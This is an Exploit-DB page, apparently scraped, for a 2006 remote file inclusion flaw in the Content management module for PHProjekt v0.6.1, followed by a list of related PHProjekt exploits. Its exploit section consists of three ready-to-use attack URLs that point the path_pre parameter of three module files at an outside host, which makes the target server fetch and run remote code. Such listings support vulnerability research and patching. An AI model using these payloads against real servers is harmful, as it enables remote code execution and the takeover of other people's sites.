Exploit

EDB-ID: 2235	Author: the master	Published: 2006-08-21
CVE: N/A	Type: Webapps	Platform: PHP
Aliases: N/A	Advisory/Source: N/A	Tags: Vulnerability
E-DB Verified:	Exploit: Download / View Raw	Vulnerable App:

« Previous Exploit Next Exploit »

########################################################################
#  Content management module for PHProjekt v0.6.1  Remote File Inclusion Vulnerability
#
#  Download: http://www.mariovaldez.net/software/cm_4p/files/cm4p_0.6.1.tar.gz
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/cm_navigation-33.inc.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/cm_navigation.inc.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/cm_summary.inc.php?path_pre=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-21]

Related Exploits

Trying to match setup file: 33b30baeb52b4809da26a9c226bcfcc9
Other Possible E-DB Search Terms: PHProjekt 6.1, PHProjekt

Date	Title	Author
2002-04-25	PHProjekt 2.x/3.x - Login Bypass	Ulf Harnhammar
2002-03-13	PHProjekt 3.1 - Remote File Inclusion	b0iler
2006-08-21	PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusion	the master
2008-04-27	Content Management System for Phprojekt 0.6.1 - File Disclosure	Houssamix
2008-04-26	Content Management System for Phprojekt 0.6.1 - Remote File Inclusion	RoMaNcYxHaCkEr
2006-08-15	PHProjekt 5.1 - Multiple Remote File Inclusion	Kacper

PHProjekt 6.1 - (path_pre) Multiple Remote File Inclusion

Related Exploits